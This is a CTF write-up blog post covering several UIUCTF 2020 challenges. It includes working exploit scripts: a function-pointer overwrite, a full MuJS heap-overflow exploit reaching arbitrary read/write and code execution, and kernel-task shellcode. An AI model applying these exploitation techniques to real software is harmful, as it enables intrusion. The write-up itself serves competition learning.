I played UIUCTF 2020, which had been held from July 18th 00:00 UTC for about 48 hours, in zer0pts and we reached 5th place.
The overall difficulty was hard but many challenges I solved were fun as well. I mainly worked on pwn and kernel tasks.
Here is my solvers for some tasks:
Other members' writeup:
- [Pwn] Accounting Accidents
- [Pwn] MuJS
- [Forensics] RFCland
- [Rev] cricket32
- [Kernel] Time To Start
- [Kernel] Showcase
- [Kernel] Whats A Syscall?
- [Kernel] kASLR Leak
- [Kernel] Freaky File Descriptors
- [Kernel] Small Oops
We're given a 32-bit ELF. PIE is disabled.
$ checksec -f accounting RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 94 Symbols Yes 0 12 accounting
The program asks for a name of an item and price of four items.
$ ./accounting [NookAccounting]: Booting up Fancy Laser Accounting Generator (F.L.A.G.) at {0x8048878} [NookAccounting]: Added "Apples" with cost of 10 bells to accounting spreadsheet. [NookAccounting]: Added "Fancy Seashells" with cost of 20 bells to accounting spreadsheet. [NookAccounting]: Added "Tom Nook Shirts" with cost of 30 bells to accounting spreadsheet. [NookAccounting]: Added "Airplane Ticket" with cost of 40 bells to accounting spreadsheet. [NookAccounting]: Added "ATM Repairs" with cost of 50 bells to accounting spreadsheet. [Isabelle]: Oh no! I cant seem to find what this item is, but it cost 25 bells, what is it? Item: AAAAAAAA [Isabelle]: Ohmygosh! Thank you for remembering! Now I can get back to work! [NookAccounting]: Added "AAAAAAAA " with cost of 25 bells to accounting spreadsheet. [Isabelle]: Ohmyheck! I dont know how much "Shrub Trimming" costs. Can you tell me? Shrub Trimming Cost: 123 ...
As you can understand from the output above, our goal is to call the function located at 0x8048878.
Vulnerability
Let's first check the function in which it asks for the name of the item.
It accepts 0x15 bytes by fgets
, where var_110
is the variable of Item
structure.
Item
structure looks like the following. (I didn't analyze the structure completely but this is enough.)
typedef struct { int price; void *treeLeft; void *treeRight; int unk3; char name[0x10]; void *function; } Item;
It's obvious that we can overwrite the function pointer. However, only one function pointer of the inserted items will be called. So, which one is called?
Plan
I'm not familiar with data structure but the items are stored in AVL tree according to a team member @keymoon. This program uses the price of the items to "balance" the tree. In the beginning of the program, it inserts 6 items with price set to 10, 20, 30, 40, 50, 25 respectively in this order. The item with price 25 is the victim whose function pointer can be overwritten. The tree looks like this after the 6 insertion.
We can insert four items with arbitrary price after that. So, our goal is to make the node with price 25 be the top of the tree because the function pointer of the top node will be called. [@keymoon] immediately calculated it and found out inserting 24, 26, 27, 5 would achieve this. In fact, the tree after these insertion will be like this:
Exploit
Now, it's clear. We just have to overwrite the function pointer and insert the 4 items.
from ptrlib import * sock = Socket("chal.uiuc.tf", 2001) sock.sendlineafter("Item: ", b"A" * 0x10 + p32(0x8048878)) sock.sendlineafter("Cost: ", "24") sock.sendlineafter("Cost: ", "26") sock.sendlineafter("Cost: ", "27") sock.sendlineafter("Cost: ", "5") sock.interactive()
This is a JS pwn challenge. We're given the modified version of MuJS source code.
There're some changes on the source code:
- The type of some integers in
Array.prototype.join
are changed fromint
touint16_t
- New object
DataView
is available - It uses own memory allocator instead of the usual ptmalloc
- New object
Challenge
is available (This checks our exploit)
Unlike normal JS pwn tasks, the goal of this challenge is not to get the shell but to make stable AAR/AAW/ACE primitives.
Vulnerability
The vulnerability lies in the first change. Let's find out how to abuse it.
The definition of Array.prototype.join
(Ap_join
) is written in jsarray.c
.
static void Ap_join(js_State *J) { char * volatile out = NULL; const char *sep; const char *r; int seplen; uint16_t k, n, len; len = js_getlength(J, 0); if (js_isdefined(J, 1)) { sep = js_tostring(J, 1); seplen = strlen(sep); } else { sep = ","; seplen = 1; } if (len == 0) { js_pushliteral(J, ""); return; } if (js_try(J)) { js_free(J, out); js_throw(J); } n = 1; for (k = 0; k < len; ++k) { js_getindex(J, 0, k); if (js_isundefined(J, -1) || js_isnull(J, -1)) r = ""; else r = js_tostring(J, -1); n += strlen(r); if (k == 0) { out = js_malloc(J, n); strcpy(out, r); } else { n += seplen; out = js_realloc(J, out, n); strcat(out, sep); strcat(out, r); } js_pop(J, 1); } js_pushstring(J, out); js_endtry(J); js_free(J, out); }
I focused on the following lines:
n += strlen(r); if (k == 0) { out = js_malloc(J, n); strcpy(out, r); } else { n += seplen; out = js_realloc(J, out, n); strcat(out, sep); strcat(out, r); }
Since the type of n
is uint16_t
, it may cause integer overflow.
Assume current n
is very large like 0xffff, then n += seplen
will cause overflow and very small value will be passed to js_realloc
.
If the length of sep
or r
is pretty large compared to the overflowed n
, the next strcat
will cause heap overflow!
Plan
This challenge doesn't provide the binary unlike normal pwn tasks. Also, our exploit need to be working on 5 binaries that are running on x86-64 or AARCH64 and are compiled with various compile options. So, this challenge required not only the skill to write exploit but also the skill to make the exploit reliable.
Fortunately, the self-made memory allocator fills the gap between the different architectures. We don't need to care about the malloc hell. (This is pretty natural for JS pwn like v8 or jsc!)
Memory Allocator
Before abusing the vulnerability, we need to know how the memory allocator of this engine works. The allocator is very similar to SLAB of the linux kernel.
void initialize_allocator() { zones[0].allocation_size = 0x10; zones[0].limit = 0x100000; zones[1].allocation_size = 0x30; zones[1].limit = 0x100000; zones[2].allocation_size = 0x80; zones[2].limit = 0x100000; zones[3].allocation_size = 0x100; zones[3].limit = 0x100000; zones[4].allocation_size = 0x200; zones[4].limit = 0x100000; zones[5].allocation_size = 0x400; zones[5].limit = 0x100000; zones[6].allocation_size = 0x800; zones[6].limit = 0x100000; for (int i = 0; i < NUM_ZONES; i++) { zones[i].base = mmap_memory_for_zone(zones[i].limit); printf("zone for 0x%x: %p\n", zones[i].allocation_size, zones[i].base); free_list_t* prev = NULL; for (int j = 0; j < zones[i].limit / zones[i].allocation_size; j++) { free_list_t* curr = (free_list_t*)(zones[i].base + (zones[i].allocation_size * j)); curr->next = prev; prev = curr; } zones[i].free_list_head = prev; } }
It has linked lists for some size from 0x10 to 0x800. (Above 0x800 will be allocated by malloc
.)
The allocator returns a chunk that is appropriate for the requested size.
Each freed chunk has next
pointer in the beginning like SLAB and there's no header like ptmalloc.
The chunk list of each size is named "zone" in the source code.
In the figure above, you can see that the first 3 chunks are freed and linked. The chunks higher than 0x7fa7d0a10410 are in use in the figure.
We can use this allocator for writing a stable exploit as the structure is common for every architecture.
MuJS Object
Thanks to another MuJS challenge from 0CTF/TCTF 2020, I knew about the JSObject of MuJS to some extent.
It's defined in jsvalue.h
.
struct js_Object { enum js_Class type; int extensible; js_Property *properties; int count; js_Object *prototype; union { int boolean; double number; struct { const char *string; int length; } s; struct { int length; } a; struct { js_Function *function; js_Environment *scope; } f; struct { const char *name; js_CFunction function; js_CFunction constructor; int length; } c; js_Regexp r; struct { js_Object *target; js_Iterator *head; } iter; struct { const char *tag; void *data; js_HasProperty has; js_Put put; js_Delete delete; js_Finalize finalize; } user; struct { uint32_t length; uint8_t* data; } dataview; } u; js_Object *gcnext; js_Object *gcroot; int gcmark; };
What's unique to MuJS is that even the element of an array is described as property of the object.
This means there's no actual array on the memory unlike V8, JSC and so on.
When it evaluates something like arr[0]
, it actually referes arr.0
!!
This weird spec makes it hard to abuse type confusion in MuJS.
DataView
New object named DataView
is added in this challenge.
We can use it like in this way:
a = DataView(0x10); a.setUint32(0, 0xdeadbeef); print(a.getUint8(0));
It's similar to ArrayBuffer. The buffer for DataView is also allocated by the new SLAB-like allocator. Each DataView object has the size and the pointer to the buffer.
struct { uint32_t length; uint8_t* data; } dataview;
This is very useful because there's no object that can be "dynamically" modified in normal MuJS.
So, we can get AAR/AAW primitives by somehow overwriting the dataview.data
.
Corrupting Heap
As I explained, the vulnerability is heap overflow by strcat
.
Each chunk doesn't have its header fortunately and we can overwrite the link of the "free list."
Our goal is to make a DataView buffer overlapped with a DataView object.
In this way, we can overwrite dataview.data
of a DataView object, which will drop AAR/AAW primitives.
The size of JSObject
is 0x80 and I didn't want to corrupt the link of zone 0x80.
I tried to abuse zone 0x10 and leaked the base address of zone 0x10.
As it relied on the offset between two mmaped addresses, it didn't work on any of the remote binaries, let alone AARCH64.
So, I changed my plan to write an exploit that reliably corrupt the link of zone 0x80 and causes overlap.
First of all, we need to corrupt the linked list of a zone.
I used off-by-null of strcat
to set the most least byte of the freed list.
The list goes from higher address to lower address in default like this:
+-----------+ | | | freed 2 | | |<-+ +-----------+ | | |--+ | freed 1 | | |<-+ +-----------+ | | |--+ | list top | | | +-----------+
In order to abuse off-by-null, we have change the order to something like this because the next chunk of top must be freed:
+-----------+ | | | list top | | |--+ +-----------+ | | |<-+ | freed 1 | | |----> +-----------+
I wrote a function to "Heap Feng Shui."
function f1(n) { var a = DataView(n); a.setUint32(8, 0xdead0001); return a; }; function fengshui_80() { var a = f1(0x80); f1(0x80); gc(); return a; }
We have to fill the freed chunk holes before calling it.
var spray = []; for(var i = 0; i < 0x180; i++) { spray.push(DataView(0x80)); }
And then cause off-by-null.
var sep = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" var a = [12345678,123]; a.length = 0x1fa; a.join(sep);
The free list top of zone 0x80 looks like this after corrupting it:
You can see that there's an infinite link in the two freed chunks due to off-by-null. After that, I created a DataView buffer that overlaps with a DataView object.
function swap_top() { f1(0x20); var a = f1(0x20); gc(); } ... var dummy = DataView(0x20); evil = DataView(0x80); swap_top(); gc(); victim = DataView(0x80);
Now, the buffer of evil
points to the object of DataView
.
AAR/AAW
AAR/AAW is done.
We can just manipulate the evil
and victim
objects.
var address = Challenge.read(); for(var j = 0; j < 8; j++) { evil.setUint8(0x28 + j, byteAt(address, j)); } var SECRET = victim.getUint32(0); var address = Challenge.write(); for(var j = 0; j < 8; j++) { evil.setUint8(0x28 + j, byteAt(address, j)); } victim.setUint32(0, SECRET);
ACE
What about Code Execution primitive?
Unlike famous JS engines, MuJS doesn't support JIT compiler/WebAssembly and we can't simply abuse rwx region. Also, we can't use the function pointers in the binary as we don't have the binary working on remote.
I thought there must be some function pointers for builtin functions such as gc
or print
and I looked for them using gdb.
Yes, there it is!
In order to make my exploit reliable, I wrote a script that explores this builtin object by checking if
- The type of the object is function
- The name of the function is "gc" (or "print")
for(var address = zone80_base + 0x100000 - 0x80; address > zone80_base; address -= 0x80) { for(var j = 0; j < 8; j++) { evil.setUint8(0x28 + j, byteAt(address, j)); } if (victim.getUint32(0) == 5 && victim.getUint32(4) == 1) { var name_low = victim.getUint32(0x20); var name_high = victim.getUint32(0x24); evil.setUint32(0x28, name_low); evil.setUint32(0x28 + 4, name_high); if (victim.getUint16(0) == 0x6367) { address += 0x28; break; } } gc(); }
Be noticed that we have the base address of zone 0x80 as we can read the dataview.data
of DataView(0x80)
.
Now, we can simply overwrite the function pointer with AAW to get ACE!
Exploit
Taken togather, my exploit abuses off-by-null in Array.prototype.join
to make AAR/AAW and then ACE.
function byteAt(x, i) { if (i*2 >= x.toString(16)) return 0; if (i == 0) { return parseInt(x.toString(16).slice(-2), 16); } else { return parseInt(x.toString(16).slice(-2 * (i+1), -2 * i), 16); } } function f1(n) { var a = DataView(n); a.setUint32(8, 0xdead0001); return a; }; function fengshui_80() { var a = f1(0x80); f1(0x80); gc(); return a; } function swap_top() { f1(0x20); var a = f1(0x20); gc(); } var evil; var victim; function overlap() { var sep = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; var a = [12345678,123]; a.length = 0x1fa; var spray = []; for(var i = 0; i < 0x180; i++) { spray.push(DataView(0x80)); } gc(); fengshui_80(); a.join(sep); gc(); readline(); var dummy = DataView(0x20); evil = DataView(0x80); swap_top(); gc(); victim = DataView(0x80); } function main() { overlap(); gc(); var ptr_low = evil.getUint32(0x28); var ptr_high = evil.getUint32(0x28 + 4); var zone80_base = parseInt(ptr_high.toString(16) + ("00000000" + ptr_low.toString(16)).slice(-8), 16) - 0xe7300; var address = Challenge.read(); for(var j = 0; j < 8; j++) { evil.setUint8(0x28 + j, byteAt(address, j)); } var SECRET = victim.getUint32(0); var address = Challenge.write(); for(var j = 0; j < 8; j++) { evil.setUint8(0x28 + j, byteAt(address, j)); } victim.setUint32(0, SECRET); for(var address = zone80_base + 0x100000 - 0x80; address > zone80_base; address -= 0x80) { for(var j = 0; j < 8; j++) { evil.setUint8(0x28 + j, byteAt(address, j)); } if (victim.getUint32(0) == 5 && victim.getUint32(4) == 1) { var name_low = victim.getUint32(0x20); var name_high = victim.getUint32(0x24); evil.setUint32(0x28, name_low); evil.setUint32(0x28 + 4, name_high); if (victim.getUint16(0) == 0x6367) { address += 0x28; break; } } gc(); } var value = Challenge.exec(); for(var j = 0; j < 8; j++) { evil.setUint8(0x28 + j, byteAt(address, j)); } var target_low = victim.getUint32(0); var target_high = victim.getUint32(4); for(var j = 0; j < 8; j++) { victim.setUint8(j, byteAt(value, j)); } gc(); victim.setUint32(0, target_low); victim.setUint32(4, target_high); print(Challenge.getFlag()); evil.setUint32(0x28, ptr_low); evil.setUint32(0x28 + 4, ptr_high); return; } main();
This exploit works with very high probability on all of the 5 remote binaries. It was hard and time-consuming but also a really fun challenge.
I solved this challenge with an unintended solution so I'm not going to write the detail for this one.
We're given a pcap file named challenge.pcap
which contains lots of plain TCP packets.
In each connection the client sends a json object like this:
{"data": "/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAsLCwsMCwwODgwREhASERkXFRUXGSYbHRsdGyY6JCokJCokOjM+Mi8yPjNcSEBASFxqWVRZaoFzc4GimqLT0/8BEBAQEhISGBoaGCEjHyMhMCwpKSwwSTQ4NDg0SW9FUUVFUUVvYndhWmF3YrGLe3uLscyroqvM993d9//////////CABEIAMgAyAMBIQACEQEDEQH/xAAaAAACAwEBAAAAAAAAAAAAAAADBAECBQAG/9oACAEBAAAAALi80xZxhtzix3daKwpcgaPZ9ZPNpCI0u51zL2WjN2ZFWLtwjfTVLbPJPK6da0qGCSvagTmNweLOkgdJWzXLM5Ta43LbGWhOi4cqpVKTPVzmmcRTV9N3lDLLF1btyumlfdWaSpwlHnAFAe3Vamhg8qwouizWJb6/VHa6jLnLFTY08xddPRMA1wsqiRbvLLyq4dfhDVG+sgOW6VXnSvM8+vyZWGRJdfC0RaVmqZZ827lzmryppv1UkgaVJjSTmdXma067NAitQaC2kuGU9mIFmH1Jgk6QgQMjArRYfZygy6PmialOYJNKdp37s0L2e3n0kWh4v0HsEBlrzRR8/Kc8PmE6FVbxD6zUyYUVKt0iWaiLFvULHlO4az9Y4ge66zgtYIu4EW3L9XK173v3T1kYZvS1YWWcsS1fO6hzW645vTo7h9RHze56Ic1CkcpLSGRhZorYMz2RiervLORmMOmeLc6oW86T9NKOYalQvrwdu9GudAJ7OpWqx3pxUGJLLQK3YWCZ0LWfWgTU3MsWS5xi25q4QHpY9rZy1dXFKUiLxbt5miClUKkaKi+iGKpFdB//xAAYAQADAQEAAAAAAAAAAAAAAAABAgMABP/aAAgBAhAAAACTzcqyvtzdUmAWPUhbHKUpyPRKsjSrN34hdyccOW9Igl0o2Uk5YWYTak2xwg7HEzYzbBloMUy00qzZ1bIVYpSVMrGenfYYjE81VqcARN3i4ZaSL4B5kgLQzc7BS4h0KUfQas7qQmbHI0b47ko1DlVlpjIUZGGRiZuCFZ003JXB8EJIbct353oELY7n6MiO2x2yF1nHqBDEDOi8l3WjYKzgL//EABcBAQEBAQAAAAAAAAAAAAAAAAABAgP/2gAIAQMQAAAA1KWWKlll7cbJqJbGsU1ES1LAXLTOolJC6xaELLFEoIKBnUAKgUzaELG8yxUaiUTUIsoFkVUmsqNue8SlCM6EtRUomsqhYKBNIsItksdebTLWYO3KN5lsBFuaIGs6TeELB//EACgQAAICAgICAQQCAwEAAAAAAAECAAMREgQTFCEiBRAVMSNBJ"}
The decoded result was a JPEG file. However, most of the data except for the beginning are not JPEG. Then I realized that the client sends several splitted JPEG files in pararell.
I was looking for a way to re-construct the JPEG files by cheking if a merged JPEG file is "properly" corrupted but eventually gave up. While trying many techniques, I found one of the image (images are corrupted but can be seen with very low-quality) looked like text while others looked landscape or some pictures. So, I picked up that one and merged with the other 300 base64 data and decoded into JPEG file.
Then, I could see the beginning of the text in some of the decoded images. In this way, I picked up the most ”plausible” one among about 300 images one by one and finally re-constructed the original image.
We're given a tiny assembly code.
// gcc -m32 cricket32.S -o cricket32 .text str_usage: .string "Usage: ./cricket32 flag\nFlag is ascii with form uiuctf{...}\n" str_yes: .string "Flag is correct! Good job!\n" str_nope: .string "Flag is not correct.\n" .global main main: mov $str_usage, %ebx xor %esi, %esi xor %edi, %edi mov $2, %ecx sub $0x10, (%esp, %ecx, 2) push %ebp mov %esp, %ebp not %ebp mov 12(%esp), %ecx cmp $'W, (%ebx, %esi, 8) xor %ebp, %ebp rclb %cl, %dh add $14, 8(%esp) jnz 1f aaa aaa aaa decl %ebp and $-1, %al mov 4(%ecx), %esi incl %ebp mov (%esi, %ebp, 1), %al xchgl %eax, %eax mov $0x6cb4001b, %ebx add %al, %al jne .-12 jmp .+10 mov (%ecx, %ebx, 8), %esi mov (%ebx, %ecx, 4), %esi div %ah sub $26, %ebp mov %esp, %ebx xlat xlat sahf dec %ebp mov %ah, %dh jge .+15 orw $-1, %ax lea (%edx, %ebp, 4), %ebp jns .-7 lea (%eax), %eax jl .+14 mov $8, %ecx mov $.-'Z, %ebx loop .+9 mov $str_nope, %ebx jmp 1f mov (%ebx), %dx bswap %edx mov 4(%ebx), %dx xchg %dh, %dl add $13, %ebx crc32l (%esi), %edx xor (%esi), %edx or %edx, %edi lahf add $4, %esi loop .-27 btc $14, %eax mov $str_yes, %ebx jnc .-'A pop %ebp mov %ebx, 4(%esp) jmp printf
As I analyzed the code, I found some instructions in the code are actually not necessary. I re-wrote the code with comment.
// gcc -m32 cricket32.S -o cricket32 .text str_usage: .string "Usage: ./cricket32 flag\nFlag is ascii with form uiuctf{...}\n" str_yes: .string "Flag is correct! Good job!\n" str_nope: .string "Flag is not correct.\n" .global main main: mov $str_usage, %ebx xor %esi, %esi xor %edi, %edi mov 8(%esp), %ecx // ecx = argv xor %ebp, %ebp rclb %cl, %dh cmpl $2, 4(%esp) jnz __printf // if (argc != 2) goto print_and_exit decl %ebp mov 4(%ecx), %esi // esi = argv[1] // Current register roles: // ebp: counter (-1) // edi: 0 // esi: argv[1] pointer strlen: incl %ebp mov (%esi, %ebp, 1), %al test %al, %al jne strlen // Now ebp = strlen(argv[1]) sub $26, %ebp mov %esp, %ebx // [0] xlat xlat // ah -> eflags sahf dec %ebp mov %ah, %dh jge lenOK // strlen(flag) >= 27 // len(flag) should be in [27, 32] fail: mov $-1, %eax jl wrong // Flag length check is done lenOK: mov $8, %ecx mov $.-'Z, %ebx loop check wrong: mov $str_nope, %ebx jmp __printf // Current register roles: // ecx: counter (8) // edi: 0 // esi: argv[1] pointer check: mov (%ebx), %dx bswap %edx mov 4(%ebx), %dx xchg %dh, %dl add $13, %ebx crc32l (%esi), %edx xor (%esi), %edx or %edx, %edi lahf add $4, %esi loop check correct: btc $14, %eax mov $str_yes, %ebx __printf: mov %ebx, 4(%esp) jmp printf
The first half part of the program is just a length check, which ensures the length of argv[1]
is greater than 26.
There is a strange code after lenOK
label.
mov $.-'Z, %ebx
This line stores the address of main+16
to ebx
.
ebx
is later used in the check
loop.
check: mov (%ebx), %dx bswap %edx mov 4(%ebx), %dx xchg %dh, %dl add $13, %ebx crc32l (%esi), %edx xor (%esi), %edx or %edx, %edi lahf add $4, %esi loop check
That's why there are many unnecessary instructions in the code. It uses parts of the machine code as seed of CRC32. The overview of this loop looks like this:
result = 0 for i in range(0, len(flag), 4): uint32_t v; addr = main + 16; v = 0; v |= *(uint8_t*)(addr + 0) << 24; v |= *(uint8_t*)(addr + 1) << 16; v |= *(uint8_t*)(addr + 4) << 8; v |= *(uint8_t*)(addr + 5) << 0; addr += 13; result |= xor(flag[i:i+4], crc32(init=v, flag[i:i+4]));
result
corresponds to rdi
in the original code.
At first glance it seems rdi is not used anywhere.
However, the or
instruction changes the flag register and it affects ah
register due to the lahf
instruction.
So, we have to keep rdi 0 for every iteration.
Our goal is to find CRC32 quine. @theoremoon wrote the following C code to find the CRC32 values.
#include <stdint.h> #include <stdio.h> uint32_t crc_table[256]; void make_crc_table(void) { uint32_t c; int n, k; for (n = 0; n < 256; n++) { c = (uint32_t) n; for (k = 0; k < 8; k++) { if (c & 1) c = 0x82F63B78 ^ (c >> 1); else c = c >> 1; } crc_table[n] = c; } } uint32_t update_crc(uint32_t crc, uint32_t x) { uint32_t c = crc; int n; unsigned char *buf = (unsigned char*)&x; int len = 4; for (n = 0; n < len; n++) { c = crc_table[(c ^ buf[n]) & 0xff] ^ (c >> 8); } return c; } int main() { make_crc_table(); if (update_crc(0x41414141, 0x4c10e5f7) != 0x3041b597U) { printf("error\n"); return 1; } uint32_t seeds[] = { 0x4c10e5f7, 0xf357d2d6, 0x373724ff, 0x90bbb46c, 0x34d98bf6, 0xd79ee67d, 0xaa79007c, 0xcc05e207, }; for (uint8_t si = 0; si < 8; si++) { for (uint32_t i = 0; i < 4294967295U; i++) { uint32_t r = update_crc(seeds[si], i); if (i == r) { printf("seed=%x, value=%x(%s)\n", seeds[si], i, (unsigned char*)&i); } } } }
Be noticed that the implementation of CRC32 in Intel CPU is different from that of python.
We can access to the server with the given VNC credential.
I was surprised that they wrote this OS for this CTF :o
Anyway we need to find the password of user sandb0x
.
The challenge description says the first character of the password is "p" and it consists of 4 characters.
When you enter "a" for the password, the login screen immediately shows "Incorrect Password!" message. However, when you type "p," it takes about 0.5 sec until it shows the message. So, it's obvious that time-based leak is required.
When I solved this challenge, however, I didn't write the script to find the password. I accidentally found "w" was the second character and guessed the password "pwny" and it was accepted. Unintended solution...?
I needed a way to automatically send my payload through VNC.
I used xdotool
to emulate key events.
import time import os os.system("make") with open("shellcode.bin", "rb") as f: payload = f.read().hex() print(payload) time.sleep(3) os.system(f"xdotool type --delay 120 '{payload}'")
I sent this script to ModMail and got the flag.
Just run system call 14 as the instruction says.
mov eax, 14 int 0x80 ret
When I was playing with some system calls, I found ecx
register was different before and after calling the system call.
As the value of ecx
(=0x400000) was 4MB aligned, I thought it might be the base address.
mov ebx, 0x400000 mov eax, 14 int 0x80 ret
This dropped the flag :)
By the way, link-time kASLR is not kASLR, right...?
My "intuition" told me to call open
system call twice and read them separately and I could leak the flag.
bits 32 global _start section .text _start: mov ebp, 0x0804e0a0 lea ebx, [ebp + path] mov eax, 2 int 0x80 push eax lea ebx, [ebp + path] mov eax, 2 int 0x80 mov edx, 0x100 lea ecx, [ebp + data] push ecx mov ebx, eax mov eax, 4 int 0x80 mov edx, 0x100 pop ecx push ecx xor ebx, ebx mov eax, 5 int 0x80 pop ecx pop ebx push ecx mov eax, 4 int 0x80 pop ecx xor ebx, ebx mov eax, 5 int 0x80 ret path: db "/sandb0x/freaky_fds.txt" data: db 0
Only one trial lol
After solving "Freaky File Descriptors" I found I could leak its flag in the following way.
I reported this bug and got the Small Oops flag.